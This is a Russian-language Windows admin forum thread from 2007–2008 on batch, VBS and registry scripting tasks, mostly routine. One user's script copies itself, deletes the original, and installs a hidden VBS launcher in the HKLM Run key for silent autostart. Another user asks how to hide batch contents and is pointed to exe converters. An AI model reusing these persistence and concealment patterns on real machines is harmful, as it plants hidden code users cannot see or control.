Set WshShell = WScript.CreateObject("WScript.Shell")

If WshShell.Popup("Text1",0,"Title1",vbOkCancel)=vbOk Then WshShell.Run "notepad.exe",1,vbTrue
If WshShell.Popup("Text2",0,"Title2",vbOkCancel)=vbOk Then WshShell.Run """C:\Program Files\FoxMail\Foxmail.exe""",1,vbTrue
If WshShell.Popup("Text1",0,"Title1",vbOkCancel)=vbOk Then WshShell.Run "notepad.exe",1,vbTrue
If WshShell.Popup("Text1",0,"Title1",vbOkCancel)=vbOk Then WshShell.Run "mspaint.exe",1,vbTrue

к примеру

Aeronaft 17-12-2007 11:54 698549

Как создать бат программу?
 
Подскажите пожалуйста:
1. Мне нужно создать бат файл, которая выпонял бы пинг на айпишник.
2. Создать бат файл, который после загрузки ОС через некоторое время (примерно секунд 5- 10) запускал нужную программу.

Заранее спасибо!

Ltybc_ 19-12-2007 18:36 700081

Помогите!!! Есть ли возможность запустить на windows 98 пакетный файл CMD??? КАК???

Vadikan 19-12-2007 19:12 700102

Aeronaft
1. А ping /? пробовали?
2. А что вы понимаете под "после загрузки ОС"? Просто киньте файл в автозагрузку.

Ltybc_, переименуйте расширение в bat

Ltybc_ 19-12-2007 20:46 700138

Vadikan
не все так просто!
В CMD я понимаю есть команды, которые сомманд.ком под win89 не понимает. Переименование не помогло! Затыкаеться на "Не найдена команда или имя файла". Придеться CMD в bat переписывать Либо ОСь менять. Вопрос стоял в том есть ли какие-то методы (из под ОС, утилиты)запустить именно СМD под win89.
И вообще если брать в целом то похоже что не возможно, как во всей философии windows. :(

Vadikan 19-12-2007 21:57 700173

Ltybc_, вы бы код файла своего привели, и можно было бы разговаривать конкретно, а не обсуждать философию Windows.

Ltybc_ 20-12-2007 10:10 700403

Vadikan, Код дать не могу, не потому что жадный, а потому что секретная штукенция. Все, справился сам. Переписал кое что.

sv06 20-12-2007 22:01 700869

помогите плиз
такая задача - нужен батник который бы запаковывал файлик c именем XXXXY,ZZ1 в архив arj, требования таковы имя архива должно быть как и имяфайла XXXXY,ZZ1 где Y - месяц по порядку от 1-9,a,b,c и ZZ число, ещё добавляется единичка в расширении.
скажем исходный файл 1111c.20, в результате должен быть архив 1111с.201
тоесть имя архива длолжно быть как имя файла только добавляется единичка ...подскажите как ...заранее всем спасибо

Andrei076 15-01-2008 12:19 717273

Люди помогите кто чем может
беру файл из дистрибутива Windows XP распаковываю его как написано с помощью Expand меняю что мне надо и запаковываю с помощью Makecab
потомо с помощью утилиты ModifyPE исправляю контрольную сумму модифицированных файлов. но это всё подходит когда надо перепокоавть пару файлов а если их много
кто-нибуть подскажите а нельзя ли это всё делать автоматически что бы 20-30 файлов сразу. А то руками очень долго
помогите написать батник
может у кого-нибуть есть готовый скинте на mail comsfera@onego.ru

hasherfrog 15-01-2008 14:53 717425

Andrei076, наверное можно. Маловато информации для размышления. Готового -- нет.

Andrei076 15-01-2008 16:17 717513

надо чтобы сначала запускался Makecab
а потом исправлять контрольную сумму файлов ModifyPE
правда в голову ни чего неприходит
а так бы было милое дело

Vadikan 15-01-2008 19:05 717663

hasherfrog, тут два этапа. Допустим, все нужные файлы находятся в некой папке. На первом этапе их все нужно распаковать командой
Код:

expand -r filename.xxx
. При этом они могут иметь различное расширение, как в запакованном виде, так и распакованном (lib.dl_ -> lib.dll). Дальше будет производиться ручная правка.

На втором этапе нужно обработать все файлы (независимо от расширения) командой
Код:

modifype.exe filename.xxx -c
после чего нужно запаковать их обратно командой
Код:

makecab.exe filename.xxx

hasherfrog 15-01-2008 19:31 717678

Vadikan, а куда они должны распаковываться? В ту же папку или нет? В принципе, довольно легко вроде бы :-|

Vadikan 15-01-2008 19:32 717679

hasherfrog, наверное, проще в другую, чтоб не путались с запакованными. Ну да, вроде не сложно FOR ... IN... DO... но все равно надо уметь :)

hasherfrog 15-01-2008 19:52 717689

Vadikan, для распаковки, файл batchexp.bat:
Код:

@if "%1"=="" goto usage
@if "%2"=="" goto usage
@set ipathname=%1
@set opathname=%2

if not exist %opathname%\. mkdir %opathname%
if not exist %opathname%\. goto usage
if not exist %ipathname%\. goto usage

@FOR /R %ipathname% %%i IN (*) do expand -r %%i %opathname%\
goto exithere

:usage
@echo batchexp.bat - Expand all files in directory to another directory.
@echo Usage batchexp.bat from_pathname to_pathname

:exithere

Только я пока не очень понимаю, наверное, смысл. Может, надо каждый файл распаковывать в собственную поддиректорию? Потому что если в исходных будет архив, он распакуется в несколько файлов, и потом очень трудно будет понять, какой файл из какого архива взялся (для обратной запаковки).

Vadikan 15-01-2008 21:31 717771

hasherfrog, насколько я понимаю, речь идет о системных файлах дистрибутива (i386), которые запакованы в cab индивидуальным образом, т. е. каждый файл представляет собой cab архив и расширение у таких файлов filename.XX_ (lib.dl_), а после распаковки expand получается уже полное расширение.

Andrei076 16-01-2008 13:31 718301

Все файлы находяться C:\XP\i386 с расшерением filename.XX_
просто я хочу заменить группу файлов в общей сложности у меня их вышло 97
а каждый перепоковывать руками долго да и время уходит а так бы всё за один раз было бы здорово

HiAll 31-03-2008 08:23 771310

Здравствуйте. Мне нужна помощь в написание bat файла.

Как сделать что бы бат файл копировал себя из запускаймой папки в определенное место на винте? А потом удалялся?

Т.е если я запущу bat*ник на рабочем столе он должен будет копироватся в С:\dctmpDeleter И потом удалится на рабочем столе а в с:\1 остатся .... как такое сделать?

Petya V4sechkin 31-03-2008 11:13 771428

Цитата:

Цитата HiAll
Как сделать что бы бат файл копировал себя из запускаймой папки в определенное место на винте? А потом удалялся?
Т.е если я запущу bat*ник на рабочем столе он должен будет копироватся в С:\dctmpDeleter И потом удалится на рабочем столе

Код:

Copy /Y %0 C:\dctmpDeleter
Del /F /Q %0


HiAll 31-03-2008 14:27 771569

Привет всем. спасибо Petya V4sechkin, помог.... но все таки не то что я хотел ..скажите мне что я делаю не правильно.

[code]@echo off
if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0&reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f
for %%a in (C) do if exist %%a: del/q/f/s %%a:\*.dctmp [code\] ---- этот код работает в фоновом режиме... т.е записывает себя в реестр для автозапуска и удалиния файлов с расширение dctmp на диске С.





@echo off
Copy /Y %0 C:\dctmpDeleter
if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0&reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f
for %%a in (C) do if exist %%a: del/q/f/s %%a:\*.dctmp
Del /F /Q %0 - А этот код делает почти все тоже самое.... только вот Копирует и удоляет файлы он не в фоновом режиме... т.е открывает окно командной строки

и еще нашел еще одну проблемку.... батник сначала копирует себя потом делает запись в реестре потом создает VBS файл а потом удаляет себя =((. Как сделать что бы в реестр добавлялся уже скопированный файл? и все копировалось\удолялось в фоне?

zi0n 03-04-2008 15:03 773818

Здравствуйте, необходимо написать бат файл который каким то оьразом будет подлючать интернет.
Есть интернет подключение (наименование Internet), на рабочем столе есть ярлык Internet.
я пытался сделать так: start C:\....\...\Рабочий стол\Internet.lnk
Но он сразу начинает выводить окно спомощью чего вам открыть формат .lnk ...
Тогда попробЫвал задать ярлыку горячие клавиши (Ctlr+Alt+D), но не знаю как использовать их в бат файле.
Вот такая вот проблемка, буду очень благодарен, если вы мне поможите.

skatet 04-04-2008 09:38 774346

rasdial попробуй
или рег.файл
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"VPN"="rasdial VPN user pass"

zi0n 04-04-2008 14:29 774523

skatet,
Спасибо большое, помогло
А как через регфайл то сделать, напиши как это уже готовое выглядеть должно.

И есть ли какой ни-ть кодинг ( как в ХТМЛ например) что бы шифровать содержимое бат файлов ?

zi0n 04-04-2008 16:04 774611

Еще возникла проблема, теперь когда использую простые операторы типа choice или deltree
пишет что они не являются не внутренними не внешними, хотя раньше все работало прекрасно.

skatet 04-04-2008 16:48 774642

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"VPN"="rasdial VPN user pass"

скопируй этот текст в тхт и сохрани с расширением reg и можешь импортировать.
rasdial VPN user pass" меняй здесь: vpn - название подключения, может быть любым
user и pass - сотв логин и пароль

И есть ли какой ни-ть кодинг ( как в ХТМЛ например) что бы шифровать содержимое бат файлов ?
- имеешь ввиду чтоб нельзя было команды прочемсть?

skatet 04-04-2008 16:52 774647

Вложений: 1
reg файл

zi0n 04-04-2008 19:38 774771

Цитата:

Цитата skatet
И есть ли какой ни-ть кодинг ( как в ХТМЛ например) что бы шифровать содержимое бат файлов ?
- имеешь ввиду чтоб нельзя было команды прочемсть? »

Да, что бы нельзя было просмотреть сам файл что в нем записано.

Цитата:

Цитата zi0n
Еще возникла проблема, теперь когда использую простые операторы типа choice или deltree
пишет что они не являются не внутренними не внешними, хотя раньше все работало прекрасно. »

Проблема так и не пропала

amel27 05-04-2008 13:40 775230

Цитата:

Цитата zi0n
есть ли какой ни-ть кодинг ( как в ХТМЛ например) что бы шифровать содержимое бат файлов ? »

шифровать нет, но можно перекодировать к примеру в EXE:

- Bat2Exe от MSFN;
- Bat To Exe Converter от Fatih Kodak;
- Quick Batch File Compiler от AbyssMedia.

Цитата:

Цитата zi0n
пишет что они не являются не внутренними не внешними

для начала проверь наличие на компьютере файлов choice.exe и deltree.exe, первый вроде можно из ресурскита взять... второй разве только из Win9x выдернуть, хотя не факт что заработает

zi0n 05-04-2008 14:09 775246

Ну раньше то все работало, ничего не менял и не убирал ...

HiAll 05-04-2008 15:31 775324

А мне кто нить поможет ?

amel27 05-04-2008 16:47 775403

zi0n
Цитата:

Ну раньше то все работало, ничего не менял и не убирал »
AFAIK экстрасенсов тут нет, если у тебя есть снимок системы для "раньше" можешь сравнить пофайлово, подумай логически - если нет файлов, то и работать не должно... если файлы есть, то проверь переменную PATH - она кроме прочего должна содержать путь к этим CMD-утилитам (команда "SET PATH").

HiAll
Цитата:

А мне кто нить поможет ? »
для начала научитесь постить код в тегах "CODE", в ваших спецсимволах никто разбираться не будет... попробуйте ради интереса скопировать код с вашего поста и запустить

zi0n 05-04-2008 20:37 775621

set deltree
Переменная среды не определена, откуда можно взять файлики и куда тыкнуть ?

zi0n 06-04-2008 01:03 775828

Блин как вообще мне эти операторы востановить ? хреново без них

amel27 06-04-2008 04:53 775872

Цитата:

Цитата zi0n
set deltree »

DELTREE не переменная, а исполняемый файл... переменную PATH можно смотреть/править через МойКомп -> Свойства -> Дополнительно -> Переменные среды -> Системные переменные, она должна соддержать путь к каталогу с файлами (иначе придется в батнике каждый раз указывать полный путь к ним).
Цитата:

Цитата zi0n
как вообще мне эти операторы востановить ? »

где поискать уже сказал выше, найдешь - закинь в System32 и будет тебе счастье :)

HiAll 06-04-2008 11:22 775930

amel27,

ну он работает...только не множко не так как мне надо.... =)

zi0n 06-04-2008 13:41 775978

Вложений: 1
Ну вот что она содержит

amel27 06-04-2008 17:01 776057

HiAll, zi0n, да вы что сговорились что ли?

HiAll
не поленись исправить свой пост с вопросом, чтобы код батника был в тегах "CODE"

zi0n
удали пользовательскую переменную PATH (сверху) и перерегистрируйся... имеет смысл только при наличии требуемых файлов на жестком диске

Veter_79 08-04-2008 09:46 777220

Всем привет нужен батник для автоматической установки прог с подключенного сетевого диска в WINXP, написанный командный сценарий не понимает exe- шники типа (Касперского 6.0)

Petya V4sechkin 08-04-2008 10:05 777223

Цитата:

Цитата Veter_79
Всем привет нужен батник для автоматической установки прог с подключенного сетевого диска в WINXP, написанный командный сценарий не понимает exe- шники типа (Касперского 6.0)

Автоматическая установка приложений -> Касперский Антивирус (KAV, АVP, Kaspersky)

seekeer 19-04-2008 15:16 784819

Нужен батник, который бы перемещал все файлы из всех подпапок папки, допустим c:\books\... , в саму эту папку c:\books

truvo 19-04-2008 16:06 784846

seekeer, а вы сделайте так: откройте свою большую папку в обеих панелях Total Commander, выберите на одной панели в меню "Вид" - "Показать все файлы без подкаталогов", выделите всё и перенесите на другую панель. В первой панели останутся пустые папки. Чуточку длиннее, конечно, зато не нужно батник иметь, хранить, искать...

To All Помогите решить очень простую задачу: батник, лежащий к каталоге XXX, должен удалять все папки с именем YYY, находящиеся внутри XXX на любом уровне вложенности.

Petya V4sechkin 19-04-2008 16:18 784849

Цитата:

Цитата truvo
Помогите решить очень простую задачу: батник, лежащий к каталоге XXX, должен удалять все папки с именем YYY, находящиеся внутри XXX на любом уровне вложенности.

Код:

CD /D "%~dp0"
For /F "UseBackQ Delims=" %%I In (`Dir YYY /AD /B /S`) Do RD /S /Q "%%I"

(вместо YYY подставить нужное).

Цитата:

Цитата seekeer
Нужен батник, который бы перемещал все файлы из всех подпапок папки, допустим c:\books\... , в саму эту папку c:\books

Код:

Set D=c:\books
For /F "UseBackQ Delims=" %%I In (`Dir %D% /AD /B /S`) Do Move "%%I\*" %D%


truvo 19-04-2008 18:13 784912

Petya V4sechkin и all, а вот задача для настоящих "зубров"!
Нужен батник, который при запуске из любого места, например, с внешнего носителя при загрузке системы с компакт-диска, удаляет, независимо от системных разрешений и атрибутов файлов:
1) всё содержимое всех папок Temp и Temporary Internet Files (для всех пользователей) в каталоге Documents and Settings на системном диске;
2) содержимое папки Windows\Temp;
3) содержимое корзины;
4) все точки восстановления за исключением последней.

Мастера с Ru-board помогали однажды мне решить эту задачу. Результат (последняя версия батника) - ниже (комментарии в файле не мои, а автора батника). Последующее применение батника на разных компах показало, что поставленная цель не вполне достигнута. Так что у тех, кто пожелает мне помочь, есть два пути, по вкусу: или работа над чужими ошибками, или свой вариант...
Код:

@echo off
setlocal

set "ds=Documents and Settings"
set "tf=Local Settings\Temp"
set "ti=Local Settings\Temporary Internet Files"

echo Start....

for %%i in (Q W E R T Y U I P O S D F G H J K L Z X C V N M) do (
if not %~d0==%%i: call:clean %%i
)

echo ....Done
goto:eof

:clean

if exist %1:\Windows\Temp (
    pushd %1:\Windows\Temp
    call:delete
    popd
)

if exist %1:\WinNT\Temp (
    pushd %1:\WinNT\Temp
    call:delete
    popd
)

::
:: Корзина. Встречал и Recycler и Recycled
::
if exist %1:\Recycler (
    pushd %1:\Recycler
    call:delete
    popd
)

if exist %1:\Recycled (
    pushd %1:\Recycled
    call:delete
    popd
)

:: Точки восстановления
:: Удаляет все подпапки вида RP001. У меня рабоает,
:: но я конечно не проверял на удаление
if exist "%1:\System Volume Information\*_restore*" (
    pushd "%1:\System Volume Information\*_restore*"
    for /f %%i in ('dir /b /ad') do rd /s /q %%i
    popd
)

if not exist "%1:\%ds%" goto:eof
for /f "tokens=*" %%i in ('dir /b /ad "%1:\%ds%"') do (
    if exist "%1:\%ds%\%%i\%tf%" (   
        pushd "%1:\%ds%\%%i\%tf%"
        call:delete
        popd
    )
    if exist "%1:\%ds%\%%i\%ti%" (   
        pushd "%1:\%ds%\%%i\%ti%"
        call:delete
        popd
    )
)
goto:eof

:delete
del /q /a /f *.* 1>nul 2>&1
for /f "tokens=*" %%i in ('dir /b /ad') do rd /s /q "%%i" 1>nul 2>&1


seekeer 19-04-2008 22:12 785093

Petya V4sechkin , truvo спасибо большое, сейчас попробуем)

Resylenr 08-05-2008 06:27 797434

Добавление строк в текстовые файлы при помощи пакетного файла
 
Кто знает как добавить строки в текстовые файлы при помощи пакеиного файла?

Vadikan 08-05-2008 07:06 797441

echo add this line > C:\test.txt

Busla 08-05-2008 09:00 797480

Vadikan, неправильно, так перезапишется. Для добавления надо >>

Resylenr 08-05-2008 18:39 797872

Конкретно мне нужно автоматически добавить строчки типа
(127.0.0.1 localhost) в конец файла: %systemroot%\system32\drivers\etc\hosts

Admiral 08-05-2008 18:49 797879

Код:

echo 127.0.0.1 localhost >> %systemroot%\system32\drivers\etc\hosts

Resylenr 08-05-2008 19:07 797883

Admiral, сенкс а у тебя случайно нет рукаводства по командам CMD?

А как сделать множествену команду добавления одинаковых строк в файл?

ShaddyR 08-05-2008 19:30 797899

Цитата:

Цитата Resylenr
как сделать множествену команду добавления одинаковых строк в файл? »

что, простите?

Admiral 08-05-2008 19:30 797900

Off-line сборника нет. Это ещё старая досовская команда. Другие посмотреть можно здесь http://www.computerhope.com/batch.htm

Пару раз одну и туже строку, наверное через цикл удобнее всего. Пример использования здесь http://forum.oszone.net/thread-97534.html

Resylenr 14-05-2008 18:43 802691

Здарова, мне нужен батник чтоб он запускал файл Setup.exe в обычном режиме а потом импортировал reg файл настроек, но нужно сделать так чтоб если я отменю установку файл реестра не выполнялся, помоги!

Admiral 14-05-2008 19:19 802730

Код:

@echo off
echo message "Installing"
Start /w setup.exe
SET /P RegAnswer=Установить настройки прогы (y/n):
If "%RegAnswer%"=="y" (
 Regedit /s sett.reg
) Else (exit)


АндрейGT 15-05-2008 18:04 803614

нужна помошь написать бат фаил
 
Ребята помогите в написание бат файлика для нового подключения VPN со всеми галочками. За ранее благодарен.

Котяра 15-05-2008 19:48 803689

АндрейGT, BAT-ником это не реализовать, но можно реализовать с помощью языка AutoIt!. Подробнее см. здесь. И тут http://forum.oszone.net/showthread.p...gin#post744163

Petya V4sechkin 15-05-2008 23:14 803846

Цитата:

Цитата АндрейGT
Ребята помогите в написание бат файлика для нового подключения VPN со всеми галочками.

Обычно для этого используют CMAK (Connection Manager Administration Kit).
С его помощью создаются профили, которые можно устанавливать где угодно (есть ключи для "тихой" установки).

truvo 17-05-2008 20:16 805066

Petya V4sechkin, мой пост 117 остался незамеченным. Я дважды вам и в ПМ о нем напоминал. Разумеется, мне никто здесь ничем не обязан, но всё же - ждать мне реакции или нет?

Admiral 18-05-2008 01:28 805242

truvo, вода камень точит. Лично я впервые сей пост заметил.
Цитата:

Цитата truvo
2) содержимое папки Windows\Temp;»

По второму пункту предлагаю свой вариант.
Код:

rd %SYSTEMROOT%\Temp\ /s /q
Папка виндовс может быть и не той что проверяется в файле (как варианты из NT семейства Win2k, Win2k3, WinXP и новомодная WS2k8), а команда что выше вообще об этом не задумывается она попросту берёт переменную среды.

ShaddyR 18-05-2008 13:51 805455

Цитата:

Цитата Admiral
команда что выше вообще об этом не задумывается она попросту берёт переменную среды. »

тогда уж корректнее будет
Код:

rd %Temp% /s /q

Bars66 18-05-2008 14:50 805491

Нужен батник который выполнял команду для нескольких тысяч разных файлов
Пример FILENAME1.XX_ expand.exe -r filename.xxХ
Где fileneme1.ХХ_ любой файл где fileneme.xxX там распакованый файл (желательно в другой папке

sacredboy 18-05-2008 17:47 805568

Где можно почитать о том как делаются батники, какие батники можно делать и вообще все про них?

Admiral 18-05-2008 17:50 805571

Супер ShaddyR, Уж тогда наверняка найдём системный темр, который по многим ресурсам советуют устанавливать как С:\Temp, как в Windows NT по умолчанию.
А для полного прочищения ещё стоит добавить команду
Код:

rd %Tmp% /s /q
:wink:

truvo 18-05-2008 18:35 805607

Admiral, ShaddyR, а вы обратили внимание, что Windows в моей задаче загружается с компакта, а временные папки должны после этого убиваться на харде?

Admiral 18-05-2008 18:53 805621

truvo, Это я не обратил внимание. :sorry:
ShaddyR подсказал :up как добиться более гибкого решения нежели моё, когда доступны переменные среды.

Junos 18-05-2008 20:14 805675

Можно ли из bat удалить часть реестра Windows
Например
HKEY_LOCAL_MACHINE\SOFTWARE\Alawar
?????????????

Admiral 18-05-2008 23:13 805778

Только под XP и выше
Код:

reg Delete HKEY_LOCAL_MACHINE\SOFTWARE\Alawar
Цитата:

Цитата Вадим Стеркин aka Vadikan (Windows » Автоматическая установка » RunOnceEx)
Примечание. Утилита REG.exe не входит в состав Windows 2000. Однако вы можете позаимствовать эту утилиту из Windows XP или Windows 2003 ... >>


amel27 19-05-2008 05:50 805872

Bars66, типа такого?
Код:

Set SRCDIR=C:\_1
Set DSTDIR=C:\_2

For %%i In (%SRCDIR%\*.*_) Do Expand -R %%i %DSTDIR%\


Junos 19-05-2008 16:02 806162

Цитата:

Цитата Admiral
Только под XP и выше
Код:
reg Delete HKEY_LOCAL_MACHINE\SOFTWARE\Alawar »

Спасибо! :up
А как без вопроса????

Admiral 19-05-2008 19:44 806348

Код:

reg Delete HKEY_LOCAL_MACHINE\SOFTWARE\Alawar /f

sacredboy 20-05-2008 05:54 806601

Вопрос: можно ли в одном батнике установить несколько заданий типа сначала пинг узла, а потом рестарт службы и следом создание шареной папки, одним словом многозадачный батник?

Admiral 20-05-2008 15:33 806929

Код:

ping 127.0.0.1
NET STOP "Service Name"
NET START "Service Name"
Net Share Your_Share_Name=C:\Temp [/USERS:number | /UNLIMITED]

К добавок к последней команде, то стоит не забывать про утилиту Calcs, возможно потребуется её задействовать, для раздачи прав, например так
Код:

Cacls C:\Temp /e /r Everyone
Cacls C:\Temp /e /g Everyone:C

Подробнее по утилите сдесь
Доступ - Как получить доступ к файлу или папке

Joni 22-05-2008 09:43 808229

Привет! Думаю если сюда нимишу необидно будет раз про bat разговор.
У меня вот че такой вот код

Код:

rem @echo off

rem Backup 1C8

d:
cd D:\1CBace\1c8
"C:\Program Files\WinRAR\rar.exe" a -m5 -r -dh -x*.cdx -agYYYYMMDD D:\Backup\bdata8.0\bdata8.0..rar *.*

:next2

rem Backup DATA

d:
cd D:\DATA
"C:\Program Files\WinRAR\rar.exe" a -m5 -r -dh -x*.cdx -agYYYYMMDD D:\Backup\data\data..rar *.*

:next2

rem Backup mail

d:
cd D:\mail
"C:\Program Files\WinRAR\rar.exe" a -m5 -r -dh -x*.cdx -agYYYYMMDD D:\Backup\mail\mail..rar *.*

Из кода видно делает бэкам с одного диска на другой. под определенной датой
Как добавить в этот код чтоб перед выполнением опред бэкапа сначало проверялись уже созданные архивы и те что старше 14 дней удалялись. а потом выполнялся бэкап.

BaerLinn 22-05-2008 14:38 808436

У меня по REG DELETE вопрос -- как удалить ОПРЕДЕЛЕННЫЙ параметр из ЛЮБОГО подраздела УКАЗАННОГО раздела?
Пример:
в [HKLM\SOFTWARE\MyPrivate]
имеются подразделы, имена которых - случайные, например
[HKLM\SOFTWARE\MyPrivate\23С5В778О3А77]
[HKLM\SOFTWARE\MyPrivate\799В23ООС2845]
и в каждом из них есть ОДИНАКОВЫЙ параметр Param, то есть
[HKLM\SOFTWARE\MyPrivate\23С5В778О3А77]
"Param" = (value)

[HKLM\SOFTWARE\MyPrivate\799В23ООС2845]
"Param" = (value)
Так вот мне требуется, не имея понятия о том, какие существуют подразделы в определенном ключе, удалить во всех этих разделах параметр Param, ну то есть что-то вроде
REG DELETE HKLM\SOFTWARE\MyPrivate\* /v Param /f
КАК ЭТО МОЖНО РЕАЛИЗОВАТЬ? Заранее благодарю.

Busla 22-05-2008 15:01 808454

BaerLinn, стоит взяться за Windows Script Host - оно гораздо функциональней командной строки.

BaerLinn 22-05-2008 15:42 808489

Busla, ну все-таки, пусть и "долго", и "некрасиво", но через батник можно как-то?

ShaddyR 22-05-2008 17:28 808550

BaerLinn
Цитата:

Цитата reg delete /?
REG DELETE <имя_раздела> [/v <имя_значения> | /ve | /va] [/f]

имя_раздела [\\<компьютер>\]<раздел>
компьютер Имя удаленного компьютера, если оно опущено, по умолчанию
используется локальный компьютер. На удаленном компьютере
можно использовать только корневые разделы HKLM и HKU.
раздел КОРЕНЬ\<подраздел>
КОРЕНЬ [ HKLM | HKCU | HKCR | HKU | HKCC ]
подраздел Полное имя подраздела реестра в одном из выбранных корневых
разделов.

имя_значения Имя значения, удаляемого из выбранного раздела. Если оно
опущено, удаляются все подразделы и значения указанного
раздела.

/ve Удаление пустого имени значения (По умолчанию).

/va Удаление всех значений в указанном разделе.

/f Выполнение удаления без запроса подтверждения.


BaerLinn 22-05-2008 17:55 808568

ShaddyR, по-моему, Вы не очень внимательно прочитали мой кейс. В моем случае: имеется раздел, в этом разделе - куча ключей, которых я не знаю и знать не хочу, и вот в каждом из таких ключей присутствует одинаковый параметр. Вот этот параметр из всех этих мне и нужно удалить, то есть
[HKLM\SOFTWARE\MyPrivate\?????????????]
"Param"=-
А лучше еще раз, пож-та, прочтите мой пост с примером и пояснениями. Спасибо!

Dr.Dark 22-05-2008 21:49 808753

Люди как удалить батник после завершения работы подскажите плз :-|

Ramsa 22-05-2008 22:30 808790

Вопрос про .bat
 
помогите начинающему,как переминовать папку на рабочем столе??????? На дисках получается, а на рабочем столе нет!!!!!!!!
ren С:\Documents and Settings\Administrator\Рабочий стол\Новая папка новая папка1
скажите что не так?????
Заранее Спасибо!!!!!

FLINT 23-05-2008 02:57 808880

Dr.Dark
Код:

Del /F /Q %0

Baw17 23-05-2008 08:17 808945

Цитата:

Цитата Ramsa
ren С:\Documents and Settings\Administrator\Рабочий стол\Новая папка новая папка1 »

нужно так

ren "С:\Documents and Settings\Administrator\Рабочий стол\Новая папка" новая папка1

ковычки надо ставить так как имеются пробелы в пути

Ramsa 23-05-2008 09:39 808990

Хм что то не получается?

yurfed 23-05-2008 09:58 809001

Ramsa, C:\WINDOWS\Help\ntcmds.chm - справка по командам.
Задачи на bat-файлах - более 100 страниц посвящено этой теме.

ren "С:\Documents and Settings\Admin\Рабочий стол\Новая папка" "новая папка1"

Важно Команды с русским шрифтом, как в данном случае, сохраняем в DOS кодировке любым текстовым редактором (то же FAR, TC и пр)

Baw17 23-05-2008 10:18 809010

yurfed, Ramsa,
все работает

Цитата:

Цитата yurfed
ren "С:\Documents and Settings\Admin\Рабочий стол\Новая папка" "новая папка1" »

этот вариант тоже работает

yurfed 23-05-2008 10:20 809012

Baw17, а как у тебя работает этот вариант, где в имени выходной папки есть пробелы
ren "С:\Documents and Settings\Administrator\Рабочий стол\Новая папка" новая папка1

Vadikan 23-05-2008 10:32 809024

BaerLinn, а если экспортировать HKLM\SOFTWARE\MyPrivate\, а потом в файле заменить рег. выражением. Ну и импортировать потом. Эй, сценарист!: Поводя бровями на регулярные выражения

Цитата:

Цитата BaerLinn
ну все-таки, пусть и "долго", и "некрасиво", но через батник можно как-то? »

Чем продиктовано такое требование?

BaerLinn 23-05-2008 11:29 809059

Vadikan, другими средствами не владеем-с :blush: не обучены...

Den13V 23-05-2008 13:12 809131

Всем доброго времени суток!!!

Подскажите пожалуйста как решить проблему.

Есть сервер, в определенной папке каждый день создается архивный файл с именем c22.03.08.rar, т.е. каждый день создается новый файл с именем даты создания, а вопрос вот в чем, реально ли создать bat файл примерно с такими параметрами.....

1. Проверка общего обьема файлов.
2. Если все файлы в общем набрали определенный обьем, к примеры 4 Gb, то осуществляется копирование файлов на сетевой комп в папку "Файл".
3. Проверка полноценности копий, т.е. сверка оригиналов с копиями, ели файлы скопировались нормально, то осуществляется удаление оригиналов с сервера.
4. Вывод сообщения на экран компа на который производилась копирование с каким небудь текстом, к примеру "Переброска файлов осуществлена".

Делается это для того чтоб постоянно не лазить на сервак для проверки и переброски файлов, кароче для облегчения рабочего процесса.

Заранее очень благодарен.

Vadikan 23-05-2008 19:13 809402

Цитата:

Цитата BaerLinn
другими средствами не владеем-с не обучены... »

Так обучайтесь. Если вам нужно 50 дырок просверлить, вы коловоротом будете орудовать, или все-таки дрель возьмете? :) В статье, сылку на которую я дал, весьма доходчиво объясняется, как при помощи регулярных выражений заменить текст в файле. Ваш случай довольно простой и при минимальной переделке примеров можно добиться нужного рез-та. Можете поковырять findstr /? (что будет не проще) или найти другое средство замены http://www.google.com/search?hl=en&q...e+command+line

X-Kirill 24-05-2008 14:51 809841

Как получить день недели в *.bat *.cmd

Задача: получить день недели, каждый день недели сопоставлен с определенным сообщением, день недели и сообщение выводится на экран. Нужна функция или команда которая "знает" день недели.

yurfed 24-05-2008 15:11 809862

X-Kirill,
Цитата:

есть файл по определенному пути, скажем c:\temp\файл.txt
его нужно переименовать в c:\temp\файл_MMYY.txt
где MM - текущий месяц,
YY - текущий год.
либо в формате c:\temp\файл_MMYYYY.txt
не принципиально.

и как усложнение задачи переименовать в вид c:\temp\файл_MMYY.txt
где MM - текущий месяц-1, т.е. предыдущий месяц.
Ответ
Код:

ren %1 %~n1_%date~3,2%%date:~-2%%~x1
Усложненный вариант:
Код:

set /A month=%date:~3,2%-1
if month==0 set month=12
ren %1 %~n1_%month%%date:~-2%%~x1

Ну и time ещё можно, для взятия времени, прилепить.
http://forum.oszone.net/post-809001-158.html

X-Kirill 24-05-2008 16:26 809890

Задача: получить день недели, каждый день недели сопоставлен с определенным сообщением, день недели и сообщение выводится на экран. Нужна функция или команда которая "знает" день недели.

Результат: В понедельник, вторник, и т.д., выскакивает сообщение с определенным текстом сопоставленном дню недели.

НАДО получить день недели пн, вт, и т.д., буквами или цифрами.

ПОЖАЛУЙСТО кто реально знает как это сделать подскажите.

ПРИМЕР:
Севодня понедельник, надо сделать тото и тото, и т.д.
Сообщение должно выходить день в день.

yurfed 24-05-2008 16:45 809907

X-Kirill, ну не понятно. Этот текст внесён в тело батника или только имя файла?

X-Kirill 24-05-2008 17:19 809924

НАДО получить функцию или команду которая знает текущий день недели!
День недели - это понедельник, вторник, среда, четверг, пятница, суббота, воскресенье или тоже самое только цыфрами 1, 2, 3, 4, 5, 6, 7.

Vadikan 26-05-2008 01:09 810710

X-Kirill, http://www.robvanderwoude.com/files/weekrexx.txt

XaHAleX 27-05-2008 10:00 811673

согласно поста
Цитата:

Цитата ShaddyR
#27 »

переписал под себя (при использовании этого батника удаляется папка потом она же создается), но не получается одна вещь: в папке пользователя при каждом запуске программы создается папка с генерируемым именем, в этой же папке пользователя есть файлы настройки текущего пользователя... как сделать удаление папок с генерируемым именем без удаления файлов?
Пример: %systemdrive%\Documents and Settings"\%1\"Application Data\1C\1Cv81 содержит в себе файлы настройки пользователя и временные папки с именами типа "ecf2c793", необходимо удалить временные папки в текущем каталоге не трогая файлов настройки... Извините за ляп...

